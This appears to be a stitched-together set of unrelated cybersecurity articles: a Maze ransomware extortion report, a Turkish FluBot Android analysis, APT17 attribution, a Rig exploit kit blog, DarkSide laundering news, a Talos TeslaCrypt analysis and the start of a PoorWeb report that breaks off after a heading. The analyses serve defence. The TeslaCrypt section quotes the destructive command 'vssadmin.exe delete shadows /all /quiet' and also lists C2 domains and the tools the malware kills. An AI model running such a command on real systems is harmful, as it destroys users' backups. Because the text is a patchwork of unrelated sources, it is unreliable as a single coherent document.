"I am writing to you because we have breached Allied Universal security firm, downloaded data, and executed Maze ransomware in their network. They were asked to pay ransom to receive a decryptor and be safe from data leakage. We informed them that we would write to you about this situation if they don't pay us, as it is a shame for a security firm to be breached and ransomwared. We gave them time to think until this day, but it seems they abandoned the payment process. I uploaded some files from their network as proof of the data breach. If they don't begin sending the requested money by next Friday, we will begin releasing everything we have downloaded from their network before running Maze."
Included in this email was a small sample of files that appeared to be legitimate files stolen from Allied Universal. In further conversations, the Maze actors stated they encrypted "a lot" of computers and are demanding 300 bitcoins, approximately $2.3 million USD, to decrypt the entire network. They also mentioned that before encrypting any computer, they always exfiltrate a victim's files to use as leverage for ransom payment.
When asked what assurances victims have that Maze will actually delete the files, they stated they were not interested in the data, just the money. "It is just logic. If we disclose it, who will believe us? It is not in our interest; it would be silly to disclose as we gain nothing from it. We also delete data because it is not really interesting. We are neither an espionage group nor any other type of APT; the data is not interesting for us."
When contacted, Allied Universal stated that the situation was under investigation. "Allied Universal is aware of a situation that may involve unauthorized access to our systems. We take any situation of this nature very seriously. This incident is being thoroughly investigated by Allied Universal IT experts who have taken immediate and appropriate actions to reinforce existing security measures and mitigate any potential impact. We have also engaged outside cybersecurity experts to re-verify our system’s security. Keeping our company data safe and that of our customers and employees is of paramount importance."
Further attempts to contact Allied were met with them stating that they "will not be providing any additional comment at this time."
Over the next couple of days, Maze indicated they still had access to the company's servers and shared a list of file names associated with TLS and email signing certificates. They warned that if Allied Universal did not pay, the Maze actors would conduct a spam campaign using Allied's domain name and email certificates.
"Ask them a question: would they like if next Monday TA2101 impersonates Allied Universal in a spam campaign using the next certs? Saving pfx's plaintext password in pw.txt is so secure for a security company. LMAO. I think you should write an amazing article about this. Name it: 'HOWTO: The easiest way for a security company to be f**ked up.'"
After a lack of negotiation between Maze and Allied Universal, the Maze actors indicated that BleepingComputer should publish a story about what was happening. BleepingComputer did not feel comfortable being used as leverage in their negotiations and decided to wait until either Allied Universal paid the ransom, the company issued a public statement, or stolen files were leaked.
Knowing that tomorrow was Maze's deadline, we were surprised when they posted in our forums a description of the breach and a link to almost 700 MB of leaked files. "We have already morning of Friday. Yes, it is Friday in Asia. Forgot to mention that the deadline is a Friday by our local time, and not US."
This link was for a 7-zip archive containing files related to termination agreements, contracts, medical records, server directory listings, encryption certificates, and exported lists of users from their active directory servers.
As I was not going to allow BleepingComputer to be used to distribute stolen data, I deleted the post from our forums. In a later email, they shared a link to a post on a Russian hacker and malware forum that describes the breach and contains a link to the leaked data. They also stated they would distribute the other 90% of the leaked data to WikiLeaks if an increased ransom of $3.8 million is not paid.
This increased amount is highly unlikely, as Maze told us that in their negotiations with Allied Universal, the company said they would pay no more than $50,000 USD. Now that the data and breach had been publicly disclosed by the Maze actors, we contacted law enforcement, attempted to contact Allied without a response, and decided to write this article.
## What does this mean going forward?
While many ransomware developers have threatened to release data if a ransom was not paid, this is the first time we know of that it has actually happened in such a visible manner. With threat actors escalating their attacks to public disclosure of confidential and sensitive files, victims need to weigh the cost of ransomware payments against the potential costs of sensitive employee and business information or confidential trade secrets being released to the public.
Furthermore, with ransomware actors actively searching through files on a victim's machines to further extort their victims, these attacks should now be considered data breaches. This leads to an escalated cost of dealing with breach notifications, hiring data breach lawyers, and the potential lawsuits that may follow. It is too soon to tell if this tactic will prove fruitful, but this is definitely something we will need to keep an eye on going forward. |
# FluBot Android Zararlı Yazılım Analizi
## FluBot Analiz Özeti
FluBot zararlısı Android cihazları hedefleyen ve sahte SMS’ler aracılığıyla kurbanlara enjekte edilen bir zararlı yazılımdır. Oltalama (phishing) yöntemleri kullanılarak hazırlanan sahte SMS, FluBot’un indirilmesini sağlayan bağlantıyı içerir. Bu bağlantıya tıklayan kurbanlar .apk uzantılı bir dosya indirirler. Kurulum işleminden sonra FluBot zararlısı komuta kontrol (C2) sunucusu ile iletişim kurarak cihazı uzaktan yönlendirir.
Gerçekleştirilen analizler sonucunda FluBot zararlısının kurban cihaz üzerinden SMS gönderme, gelen kısa mesajları okuma, arka plan uygulamalarını kapatma ve telefon rehberine erişme gibi yeteneklere sahip olduğu tespit edilmiştir. Kurulum sonrası zararlı gerekli izinleri kurbandan aldıktan sonra ilgili oltalama senaryosu gereği kurbanı bir forma yönlendirir. Bu sayfada kurbandan doğum tarihi, ad-soyad, kredi kartı bilgisi ve telefon numarası gibi hassas bilgiler temin edilir. Ardından temin edilen bilgiler FluBot aracılığıyla saldırgana ait komuta kontrol sunucusuna gönderilir.
## Sahte DHL SMS Bilgilendirme Mesajı (Phishing)
Başka bir örnekte ise FluBot’un sahte SMS ile kurban sisteme yüklenmesi işlemi göze çarpıyor. Hedef kullanıcı SMS ile gelen linke tıkladıktan sonra gelen web sayfasında, zararlı yazılımı indirmesi için hazırlanan sahte ve gerçekçi bir sayfa ile karşılaşıyor.
## Bulaşma Sıklığı ve Hedef Ülkeler
FluBot zararlısı yoğunluklu olarak Avrupa ülkelerini hedef seçmiştir. COVID sonrası artan paket dağıtım hizmetlerini phishing aracı olarak kötüye kullanmıştır, böylece kısa bir zaman içinde çok hızlı bir yayılmaya sahip olmuştur.
## FluBot Teknik Analizi
FluBot zararlısı indirildikten sonra cihaz içinde “full access” yetkisi verilmesi için kullanıcı onayı istemektedir. Onay, hedef kullanıcı tarafından verildikten sonra hedef kullanıcı uygulamayı kapatsa bile zararlı yazılım arka planda çalışmaya devam etmektedir. Arka planda çalışan “com.eg.android.AlipayGphone” (FluBot) zararlısına ait izin listesi aşağıdaki gibidir:
- android.permission.INTERNET
- android.permission.READ_CONTACTS
- android.permission.WRITE_SMS
- android.permission.READ_SMS
- android.permission.SEND_SMS
- android.permission.RECEIVE_SMS
- android.permission.READ_PHONE_STATE
- android.permission.QUERY_ALL_PACKAGES
- android.permission.WAKE_LOCK
- android.permission.FOREGROUND_SERVICE
- android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- android.permission.CALL_PHONE
- android.permission.REQUEST_DELETE_PACKAGES
- android.permission.KILL_BACKGROUND_PROCESSES
- android.permission.ACCESS_NETWORK_STATE
Yukarıdaki izinlerle erişen kötü amaçlı yazılım aşağıdaki eylemleri gerçekleştirebilir hale gelmektedir:
- İnternet erişimi
- SMS okuma / gönderme
- Telefon rehberini okuma
- Çağrı yapma
- Cihaz içinden uygulama silme
- Erişilebilirlik hizmetini kullanma yeteneği
- Cihaz bildirimlerini okuma
Hedef kullanıcıya ait Android cihaz artık sürekli olarak saldırganlara ait komuta kontrol sunucusu ile iletişim halindedir. Analizlerimiz sonucunda bu iletişimin saldırganın isteğine göre SOCKS Proxy üzerinden devam edebildiği tespit edilmiştir.
### String Obfuscation (Karmaşıklaştırma)
FluBot zararlısı incelemeyi zorlaştırmak ve antivirüs yazılımlarını bypass etmek için açık kaynak kodlu olan Paranoid isimli String obfuscator yazılımını kullanır. Böylece zararlı yazılıma çalışma aşamasında String verilerini gizleme özelliği kazandırılır. Obfuscate edilen String veriler:
- BotId
- BrowserActivity
- CardActivity
- ComposeSmsActivity
- ContactItem
- DGA
- ForegroundService
- HttpCom
- IntentStarter
- LangTxt
- MainActivity
- MyAccessibilityService
- MyNotificationListener
- PanelReq
- SmsReceiver
- Spammer
- Utils
- SocksClient
- PanelReq
### String De-obfuscate
FluBot zararlısına ait String veriler saldırganlar tarafından gizlenir, analiz sonuçlarının doğruluğu için obfuscated olan String verilerin de-obfuscate edilmesi gerekmektedir. Bu işlem için açık kaynak kodlu bir Java yazılımından yararlanılmıştır. Java yazılımı çalıştırıldığında chunks37 dizisi içerisinde bulunan veri matematiksel bir fonksiyon ile anlaşılır String veriye dönüştürülür. Çıktı olarak üretilen veri içerisinde farklı dillere ait phishing aşamasında kullanılan String veriler mevcuttur (Card Number, CVV, Owner, Year vb.).
### Command And Control (Komuta Kontrol)
FluBot zararlısına ait en yeni versiyon 4.0 olarak ortaya çıkmıştır. FluBot hedef Android cihaza girdikten sonra saldırgan ile bağlantı kurmak için Domain Generation Algorithm (DGA) isimli bir algoritma yardımı ile random sayı ve harflerden oluşan bir domain oluşturarak saldırganlara ait komuta kontrol sunucuları bot yazılımlardan gizlenebilmektedir. Bağlantı özellikle 4.0 versiyonunda DNS veya DNS over HTTPS şeklinde gerçekleşmektedir. Böylece zararlı yazılım hedef cihaza bağlantı istek paketleri gönderdiği zaman güvenlik duvarı, EDR veya antivirüs sistemlerinden kaçınmaktadır.
2021-01-22 tarihinde başlayan yükseliş 4.0 versiyonu ile gerçekleşmiştir. Google DNS özelliği saldırganlar tarafından kötüye kullanılmış, böylece Google DNS tünel olarak kullanılıp saldırgana ait Command and Control sunucularına DNS üzerinden bağlantı istekleri yapılmaktadır.
DGA ile oluşturulan Command And Control sunucuları, FluBot 4.0 versiyonuna ait “poll.php” üzerinden yapılan bağlantı isteğini gerçekleştiren fonksiyon, saldırgan C2 sunucusu üzerinden (PING, LOG, SMS_RATE, GET_SMS vb.) komutlarını uzaktan çalıştırabilmektedir. Analizlerimiz sonucunda ortaya çıkan, FluBot zararlısının hedef cihaza uzaktan erişmek için DNS over HTTPS bağlantısını sağlamak ile görevli decompile edilmiş fonksiyon aşağıda yer almaktadır.
Bu saldırı yöntemi özellikle İngiltere ve Amerika’da bulunan hedefler için seçilmiştir. En önemli fark ise FluBot 4.0 zararlısına ait farklı bir örnekte saldırganların bağlantı almak için Google DNS yerine Cloudflare DNS’i seçmiş olmasıdır. FluBot zararlısının bir diğer özelliği cep telefonu numaralarında bulunan ülke bazlı kodları kullanarak o ülkeye ait spesifik saldırılar gerçekleştirmektir. Phishing saldırısı sırasında o ülkede bulunan kargo servisleri ve konuşulan dil saldırganlar tarafından dikkate alınmakta ve buna uygun bir arayüz seçilmektedir.
Hedef kullanıcıdan kredi kartı numarası, CVV, cihaz bilgisi gibi bilgileri çalmaktadır. Phishing yöntemi ile kandırılan hedef kullanıcı bu bilgileri FluBot zararlısı içinde bulunan form arayüzüne girdikten sonra “GetCredential_A05” fonksiyonu ile String veriler saldırganlara iletilmektedir.
## FluBot 3.7 Versiyonuna Ait HTTP Trafik Analizi
HTTP bağlantısını Burp Suite Proxy ile yakalamak için Frida kullanılarak zararlı yazılıma JavaScript kodu enjekte edilir. Bu sayede bağlantı yakalanabilmekte ve Android SSL Pinning bypass edilmektedir. Bağlantı incelendiğinde poll.php üzerinden base64 ile encode edilmiş String veriler ile hedef cihazdan bağlantı isteklerinin gönderildiği göze çarpmaktadır. POST ve GET istekleri ile saldırganlar anlık olarak kurban cihaz ile haberleşmektedir.
## MITRE ATT&CK Teknik ve Taktikleri (Android Cihaz İçin)
| Tactic | Technique ID | Technique Name |
|----------------------|--------------|----------------|
| Defense Evasion | T1418 | 1. Application Discovery |
| | T1406 | 2. Obfuscated Files or Information |
| Credential Access | T1409 | 1. Access Stored Application Data |
| Discovery | T1421 | 1. System Network Connections Discovery |
| | T1422 | 2. System Network Configuration Discovery |
| | T1430 | 3. Location Tracking |
| | T1418 | 4. Application Discovery |
| | T1426 | 5. System Information Discovery |
| Collection | T1432 | 1. Access Contact List |
| | T1430 | 2. Location Tracking |
| | T1507 | 3. Network Information Discovery |
| | T1409 | 4. Access Stored Application Data |
| Command and Control | T1573 | 1. Encrypted Channel |
| | T1071 | 2. Application Layer Protocol |
| | T1571 | 3. Non-standard Port |
| | T1219 | 4. Remote Access Software |
| Impact | T1447 | 1. Delete Device Data |
| | T1448 | 2. Carrier Billing Fraud |
## IOC Verisi
**FluBot v3.7**
- Phishing Correos Hash Verileri
- 446833e3f8b04d4c3c2d2288e456328266524e396adbfeba3769d00727481e80
- bb85cd885fad625bcd2899577582bad17e0d1f010f687fc09cdeb8fe9cc6d3e1
- 8c14d5bc5175c42c8dd65601b4964953f8179cfe5e627e5c952b6afd5ce7d39d
- Phishing Fedex Hash Verileri
- a601164199bbf14c5adf4d6a6d6c6de20f2ab35ec7301588bceb4ee7bb7d1fdc
- f0fa95c3b022fb4fee1c2328ffbc2a9567269e5826b221d813349ebf980b34da
- 07ba6893c4ffc95638d4d1152f7c5b03aca4970474a95bf50942c619aa4382ae
- ca5ba6098a2a5b49c82b7351920966009a99444da4d6f6e5a6649e5e2aeb3ff8
- 8be8576c742f31d690d449ab317b8fb562d03bc7c9dc33fa5abf09099b32d7a0
- Phishing DHL Hash Verileri
- 54ecabbff30b05a6a97531f7dec837891ce49ae89878eaf38714c1874f5f1d15
- c3838f9544e613917068f1b2e22ab647fd5a60701e1045b713767a92cf79f983
- ab29813b1da1da48b4452c849eedc35b6c52044946d39392530573c540916f74
**FluBot v4.0**
- Phishing DHL Hash Verileri
- 3a4bdcb1071e8c29c62778101b7ae8746f3ee57cb1588e84d7ee1991964703e6
- 22025590bbb4d3a30658fea45a936b6a346479c83d1c35f85521a1ac564342a0
- 774acbfbedd2a37e636f6251af84a7abb2e64c2db9d6de5ce0fec4121064ea49
- 3bf82acb8d511bfef3e083b73136824aab3612b516f150d916fe351b7e5bc9d3
- 9b9b67a2b9ec5a15044430a9f5d9ce6a7f524e1feed186a96309256df686cfdd
- 8bb8b1a1dc1487db610700f6b59ea4ab44ddc2f52e0eca06f8d1da663b312b58 |
APT17 is run by the Jinan bureau of the Chinese Ministry of State Security.
In previous articles, we identified Jinan Quanxin Fangyuan Technology Co. Ltd. (济南全欣方沅科技有限公司), Jinan Anchuang Information Technology Co. Ltd. (济南安创信息科技有限公司), Jinan Fanglang Information Technology Co. Ltd. (济南方朗信息科技有限公司), and RealSOI Computer Network Technology Co. Ltd. (瑞索计算机网络科技有限公司) as companies associated with Guo Lin (郭林), a likely MSS Officer in Jinan. We also identified two hackers from Jinan – Wang Qingwei (王庆卫), the representative of the Jinan Fanglang company, and Zeng Xiaoyong (曾小勇), the individual behind the online profile ‘envymask’.
## ZoxRPC
The Chinese variant of MS08-067 is particularly interesting because it forms part of a hacking tool frequently used by Chinese APT groups called ZoxRPC. This report from Novetta details ZoxRPC’s incorporation in its code of specific memory addresses from the port of MS08-067 to Chinese operating systems (for which envymask takes responsibility). That is to say, Zeng’s code is used in ZoxRPC.
If there were any doubt that it was envymask’s code used in ZoxRPC, have a look at the code found on pudn.com, and you will see that it says: ‘MS08-067 Exploit for CN by [email protected]’. MS08-067 for China written by envymask aka EMM.
## ZoxPNG
In a timeline analysis, the Novetta report identifies that ZoxRPC was evolved from code dating back to 2002 and was eventually released in 2008. It was then further developed into a new tool called ZoxPNG in 2013. A PwC presentation given at the Kaspersky Security Analyst Summit in 2015 showed that Chinese hacker Zhang Peng (张鹏) aka ‘missll’ was the author of the newer ZoxPNG variant.
APT17 is also known as BLACKCOFFEE. As FireEye noted in their ‘Hide and Seek’ report, ZoxPNG is also known as BLACKCOFFEE. And as V3 showed in their blog article, APT17 aka DeputyDog used BLACKCOFFEE malware as a key part of multiple campaigns.
So Zeng wrote the MS08-067 code in ZoxRPC. And Zhang Peng aka missll evolved it into the APT17 tool ZoxPNG aka BLACKCOFFEE. Where was Zhang Peng from? Jinan, China.
## In summary:
Either one of the authors of code in APT17’s primary malware just happens to be associated with a series of Cyber Security outfits that claim the MSS as their clients and are coincidentally managed by an MSS Officer, or MSS Officer Guo Lin of the Jinan bureau of the Ministry of State Security manages APT17.
#thereismore… |
# Rig EK via Malvertising Drops a Smoke Loader Leading to a Miner and AZORult
**Summary:**
Been an interesting few weeks and I haven’t been able to update but the other researchers appear to have found a few interesting things. I thought I would blog if anyone wanted a pcap to look at. I actually found this through my normal malvertising route. After pondering and assistance, the payload was determined to be Smoke Loader leading to a Miner and AZORult stealer. It’s an interesting sample! Thanks to @James_inthe_box for looking into it deeper.
**Background Information:**
A few articles on Rig exploit kit and its evolution:
- https://www.uperesia.com/analyzing-rig-exploit-kit
- http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html
- http://securityaffairs.co/wordpress/55354/cyber-crime/rig-exploit-kit-cerber.html
**Downloads (in password protected zip):**
- 13-October-2017-Rig-Miner-PCAP -> Pcap of traffic
- 13-October-2017-Rig-Miner-CSV -> CSV of traffic for IOC’s
- 13-October-2017-Rig-Miner -> Smoke Loader – 60489385b91478d36e4d027e70d662a861f305cc5d4bdce20f312ac1c7c2f126
**Details of Infection Chain:**
This campaign was spotted a few days back by @BroadAnalysis. I however found this through my usual malvertising campaign. It was only after that I realized that the IP of the domain is the same as the previous post that was reported. The payload however is different and much like the Rulan campaign, it is likely the payloads will change often so it’s worth keeping an eye on this. The chain involves a series of 302 redirects. The final redirect takes the client to Rig EK.
The payload was actually very interesting. I noticed a process injection which is Smoke Loader. I then saw the two binaries, one of which was a miner and the other is AZORult stealer. I did upload the sample to Hybrid Analysis; here are the results: Now on my lab, I did not see the mining C2 which connected to 213.32.29.150:14444. However, it did change the same registry key from the sandbox analysis. Below are two examples of POST requests from the first binary believed to be Smoke Loader.
The second binary is “Asus Gaming” that produced the zbot-like POST requests to C2. This is actually AZORult:
- **SHA-256:** 2919a13b964c8b006f144e3c8cc6563740d3d242f44822c8c44dc0db38137ccb
- **File Name:** Asus Gaming.exe
- **File Size:** 270.5 KB
There’s a lot going on here! Enjoy. |
# DarkSide Ransomware Rushes to Cash Out $7 Million in Bitcoin
Almost $7 million worth of Bitcoin in a wallet controlled by DarkSide ransomware operators has been moved in what looks like a money laundering rollercoaster. The funds have been moving to multiple new wallets since yesterday, a smaller amount being transferred with each transaction to make the money more difficult to track. The timing aligns with the takedown of REvil ransomware infrastructure after hijacking the gang's Tor hidden service as a result of an international law enforcement operation.
## The Money Laundering Flow
The DarkSide ransomware gang has extorted dozens of victims of tens of millions of U.S. dollars, their most famous attack being on May 7, against the largest fuel pipeline in the United States, Colonial Pipeline. Omri Segev Moyal, the CEO and co-founder of cybersecurity company Profero, tweeted today that 107 bitcoins from a DarkSide wallet were moved to a new wallet. Looking at the transaction hash, the move started on October 21, 2021, at 7:05 AM (GMT) and the initial value was a little under $7 million. In a blog post today, blockchain analysis company Elliptic shows how DarkSide's cryptocurrency flowed through different wallets, shrinking from 107.8 BTC to 38.1 BTC.
## The Money-Laundering Process
Moving the funds this way is a typical money laundering technique that hinders tracing and helps cybercriminals convert the cryptocurrency to fiat money. Elliptic says that the process continues still and that small amounts of the money have already been transferred to known exchanges. Moving the money at this time may be a result of what happened to the REvil ransomware operation, which shut down for a second time this year after finding that its services had been compromised by a third-party. The hacking occurred after REvil attacked the Kaseya MSP platform that served more than 1,000 companies across the globe. While the FBI was on the verge of disrupting REvil, the cybercriminals shut down their operation. When REvil restarted its business, they restored from the backups that had been infiltrated by the FBI before the gang closed shop.
## DarkSide Money Recovered by the FBI
DarkSide's attack on Colonial Pipeline was the last one from DarkSide under this name. Until then, the ransomware gang had collected at least $90 million from its victims. However, they chose their last target poorly, since its operations supplied petroleum products to markets and refineries on the U.S. East Coast accounting for 45% of all fuel consumed in the region. Even if Colonial Pipeline paid the 75 BTC (around $5 million at the time) ransom, the consequences of the attack were too much for the DoJ not to treat it with top priority. On June 7, the DoJ announced that it recovered 63.7 bitcoins of the ransom Colonial Pipeline paid to DarkSide to recover their systems as fast as possible. DarkSide then exited the ransomware business only to emerge as BlackMatter. In July, the rebranded threat actor was looking to buy access to corporate networks. Recorded Future announced at the time BlackMatter saying that it "incorporated in itself the best features of DarkSide, REvil, and LockBit." Under the new name, the ransomware actors continued to hit large companies such as medical technology giant Olympus, the New Cooperative farmers organization in the U.S., or Marketron provider of marketing services. In a joint advisory released recently, CISA, the FBI, and the NSA provide mitigation information that can help organizations defend against BlackMatter ransomware attacks.
## Related Articles
- US Senate: Govt’s ransomware fight hindered by limited reporting
- Fake crypto giveaways steal millions using Elon Musk Ark Invest video
- US sanctions Bitcoin laundering service used by North Korean hackers
- BlackCat/ALPHV ransomware asks $5 million to unlock Austrian state
- Windows 11 KB5014019 breaks Trend Micro ransomware protection
Ionut Ilascu is a technology writer with a focus on all things cybersecurity. The topics he writes about include malware, vulnerabilities, exploits and security defenses, as well as research and innovation in information security. His work has been published by Bitdefender, Netgear, The Security Ledger and Softpedia. |
# Threat Spotlight: TeslaCrypt – Decrypt It Yourself
**Talos Group**
*April 27, 2015*
*Authored by: Andrea Allievi, Earl Carter & Emmanuel Tacheau*
Update 4/28: Windows files recompiled with backward compatibility in Visual Studio 2008
Update 5/8: We’ve made the source code available via Github
Update 6/9/2016: We’ve released a tool to decrypt any TeslaCrypt Version
After the takedown of Cryptolocker, we have seen the rise of Cryptowall. Cryptowall 2 introduced “features” such as advanced anti-debugging techniques, only to have many of those features removed in Cryptowall 3. Ransomware is becoming an extremely lucrative business, leading to many variants and campaigns targeting even localized regions in their own specific languages. Although it is possible that these multiple variants are sponsored by the same threat actor, the most likely conclusion is that multiple threat actors are jumping in to claim a portion of an ever-increasing ransomware market. One of the latest variants is called TeslaCrypt and appears to be a derivative of the original Cryptolocker ransomware.
Although it claims to be using asymmetric RSA-2048 to encrypt files, it is making use of symmetric AES instead. Talos was able to develop a tool which decrypts the files encrypted by the TeslaCrypt ransomware.
At first glance, the dropper appears to be related to the original CryptoLocker. The malware states that data files, such as photos, videos, and documents on the victim’s computer have been encrypted with the RSA-2048 asymmetric algorithm. As we shall see, that statement is not entirely accurate.
Targeting files that users value highly makes ransomware very effective at getting users to pay the ransom. TeslaCrypt is interesting because it also targets and encrypts computer game files, such as saved games and Steam activation keys. This means that TeslaCrypt is targeting many different types of users, including PC gamers. Just like irreplaceable photos, a game save, which is the product of countless hours of gaming, is extremely valuable and hard to replace.
We have analyzed two samples of TeslaCrypt, the first dated March 2015 and the second dated April 2015. Their SHA256 are:
- 3372c1edab46837f1e973164fa2d726c5c5e17bcb888828ccd7c4dfcc234a370
- 6c6f88ebd42e3ef5ca6c77622176183414d318845f709591bc4117704f1c95f4
Both samples implement the following hashing algorithms:
- SHA1
- SHA256
- RIPEMD160
- BASE58
- BASE64
## Infection Vector And Setup Function
This ransomware is usually distributed as an email attachment or through websites that redirect the victim to the Angler Exploit Kit. In our analysis, the exploit kit delivered a malicious Flash object containing an exploit against CVE-2015-0311. The payload for this exploit was a TeslaCrypt sample.
We are only going to give a quick introduction on the dropper’s architecture and the setup function because this functionality has been widely covered. Most TeslaCrypt samples use COM+ sandbox evasion techniques. For example, the dropper we analyzed uses simple detection code that verifies if the “URLReader2” COM interface has been correctly installed in the DirectShow filter graph list. If the check passes, the real dropper is extracted and executed using a well-known method that makes use of the ZwMap(Unmap)ViewOfSection API functions to unmap the original PE memory image and re-map another image file. The final unpacked executable locates specific Windows directories such as the Application Data directory, and builds support files like the “key.dat” file, and files to store decryption instructions. The executable also adjusts its own privileges (adds “SeDebugPrivilege”) and copies itself using a random file name to the user’s Application Data directory. A new process is then spawned and execution is transferred to it. The original dropper file is deleted. The main malware window is created and five threads are spawned, followed by the window message dispatching cycle.
TeslaCrypt threads perform the following:
- Delete all system Volume Shadow Copies by executing “vssadmin.exe delete shadows /all /quiet” command
- Open the “key.dat” file and recover encryption keys. If “key.dat” file doesn’t exist, create the keys and store them in an encrypted form in the “key.dat” file.
- Send the new master encryption key to the C&C server through POST request (the latest sample that we have analyzed contains the following C&C server URLs):
- 7tno4hib47vlep5o.63ghdye17.com
- 7tno4hib47vlep5o.79fhdm16.com
- 7tno4hib47vlep5o.tor2web.blutmagie.de
- 7tno4hib47vlep5o.tor2web.fi
- Implement anti-tampering protection: every 200 milliseconds, TeslaCrypt enumerates all running processes and if a process with a filename that contains any of the words below is found, that process is terminated using the TerminateProcess Windows API function:
- taskmgr
- procexp
- regedit
- msconfig
- cmd.exe
## File Encryption – Introduction
After the initialization routine and the deletion of the Volume Shadow copies, the sample creates the “key.dat” file where it stores all the encryption keys. The dropper from March 2015 calculates at least 2 different main keys: a payment key and a master encryption key. The other dropper implements the concept of an additional key known as the “Recovery key.” “GetAndHashOsData” is the function responsible for creating the base buffer for the generation of all keys. At startup it acquires the following info:
- the global workstation’s LAN network statistics, using the NetStatisticsGet API function
- 64 random bytes generated by Windows Crypto functions
- all heap descriptors of its own process
- all active process descriptors and the threads descriptors of each process
- all loaded modules in each process
- the workstation’s physical memory information
Once the data is acquired, it generates a big array of SHA1 values, one for every 20 bytes of acquired data. At the end, it calculates and stores a global SHA1 value for the entire array, in a symbol that we have called “g_lpGlobalOsDataSha1.”
With these 2 items, the “FillBuffWithEncryptedOsData” routine is able to fill a generic buffer with the calculated data, in a pseudo-random manner. A master key and a payment key are generated using this function (each key is 32 bytes wide), their SHA256 is calculated and finally a custom algorithm is used to shift left and shift right the 2 keys. The two shifted SHA256 values are stored in the “key.dat” file.
## The Key File
The “OpenKeyFileAndWrite” routine tries to open the “key.dat” file, located in the user’s Application Data directory. If it doesn’t exist, it generates the 2 master keys (3 in case of the most recent dropper) as well as other keys, and stores them in the key file. Here is a little schema of the layout of the “key.dat” file:
* = We currently don’t know precisely how this value is used by TeslaCrypt
The latest version of the dropper creates a “RECOVERY_KEY.TXT” file inside the user’s document directory. It does this to achieve a particular goal: if the victim workstation is offline or if a firewall blocks the communication with the C&C server, the dropper will proceed with the destruction of the master key inside the “key.dat” file, after the encryption of all files has been completed. To recover the files, the user would have to connect to the threat actor’s TOR website and provide the recovery key. The threat actors use a custom algorithm to recover the master key from the recovery key:
The recovery key file contains 3 pieces of information in a human-readable form, separated by a carriage return character:
- The Bitcoin address
- The payment key ID (32 hex digits)
- The recovery key (64 hex digits)
## The File Encryption Algorithm
File encryption is performed in a dedicated thread. The code for the encryption thread takes the shifted master key, calculates its SHA256 hash and starts to enumerate all files of the victim workstation (filtering by extension type, TeslaCrypt supports over 170 different file extensions). “EncryptFile” is the function that manages the entire file-encryption process. It:
- generates a 16-bytes Initialization Vector for AES, using the GetAndHashOsData API function
- reads the target file
- initializes the AES encryption algorithm through the creation of the AES context data structure
- finally encrypts the contents of the file using an AES CBC 256-bit algorithm implemented in the “EncryptWithCbcAes” function.
When the process is complete, the new encrypted file is created. The new file contains a small header (composed of the AES Initialization Vector in its first 16 bytes followed by the original file size in the next 4 bytes), and then the actual encrypted bytes.
The pop-up window displays misleading information: the encryption method is a symmetric AES, and not an asymmetric RSA-2048 as stated by TeslaCrypt. As proof that TeslaCrypt is truly using symmetric AES and not asymmetric RSA, we provide for a decryption utility capable of decrypting all the files encrypted by this ransomware (provided you have the master key).
## The Talos TeslaCrypt Decryption Tool
Our decryption utility is a command line utility. It needs the “key.dat” file to properly recover the master key used for file encryption. Before it begins execution, it searches for “key.dat” in its original location (the user’s Application Data directory), or in the current directory. If it isn’t able to find and correctly parse the “key.dat” file, it will return an error and exit.
To use this tool, just copy the “key.dat” file into the tool’s directory and then specify either the encrypted file or a directory containing encrypted files. That’s it! Files should be decrypted and returned to their original content.
Here is the list of command line options:
- /help – Show the help message
- /key – Manually specify the master key for the decryption (32 bytes/64 digits)
- /keyfile – Specify the path of the “key.dat” file used to recover the master key.
- /file – Decrypt an encrypted file
- /dir – Decrypt all the “.ecc” files in the target directory and its subdirs
- /scanEntirePc – Decrypt “.ecc” files on the entire computer
- /KeepOriginal – Keep the original file(s) in the encryption process
- /deleteTeslaCrypt – Automatically kill and delete the TeslaCrypt dropper (if found active in the target system)
Back up your encrypted files before you use this utility. Provided without any guarantees. The TeslaCrypt Decryption Tool is provided as-is and is not officially supported. The user assumes all liability for the use of the tool.
## IOCs
**Hashes:**
- 3372c1edab46837f1e973164fa2d726c5c5e17bcb888828ccd7c4dfcc234a370
- 6c6f88ebd42e3ef5ca6c77622176183414d318845f709591bc4117704f1c95f4
**IP Addresses:**
- 38.229.70.4
- 82.130.26.27
- 192.251.226.206
**Domains Contacted:**
- 7tno4hib47vlep5o.63ghdye17.com
- 7tno4hib47vlep5o.79fhdm16.com
- 7tno4hib47vlep5o.tor2web.blutmagie.de
- 7tno4hib47vlep5o.tor2web.fi
ThreatGrid has also added a behavioral indicator to identify TeslaCrypt.
## Conclusion
Analyzing TeslaCrypt ransomware was a challenge. All the encryption and hashing algorithms in the dropper made the analysis pretty difficult. As we have seen, sometimes the threat actor authors even lie. Nevertheless, ransomware continues to plague users. Incorporating a layered defense is critical to combating this type of threat before it has the chance to encrypt files. A good system backup policy is the best way to recover files that have been hijacked.
- Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.
- CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks.
- The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors.
- ESA can block malicious emails including phishing and malicious attachments sent by threat actors as part of their campaign. |
# PoorWeb - Hitching a Ride on Hangul
**Threat Research | November 16, 2020**
**Blog Author: Robert Simmons, Independent malware researcher and threat researcher at ReversingLabs.**
Hangul Office is a popular office software suite in South Korea. It shares the same compound file format as older versions of Microsoft Office, but has unique features that are abused to form malicious documents. The landscape of this type of attack has been analyzed closely in the VirusBulletin talk "DOKKAEBI: Documents of Korean and Evil Binary". This type of malicious document is the first stage of an attack chain often leading to a PE executable trojan. Here we start with a set of three malicious Hangul Word Processor (HWP) documents targeting one victim organization, each with a slightly different set of stages, but ultimately leading to payloads in one malware family: PoorWeb. Pivoting outwards from these three, a large number of related attacks is found. This amount of data can be confusing especially when the attacks are so similar. However, looking at similarities and differences in malware behavior and code, delineations can be drawn between campaigns. Armed with this knowledge, the PoorWeb payloads and the various stages that deliver them are distinct from previous campaigns operated by the same adversary. Within this campaign, the earliest sample was first seen on March 19, 2019 and the most recent sample on September 16, 2020.
## HWP Summary Information Stream
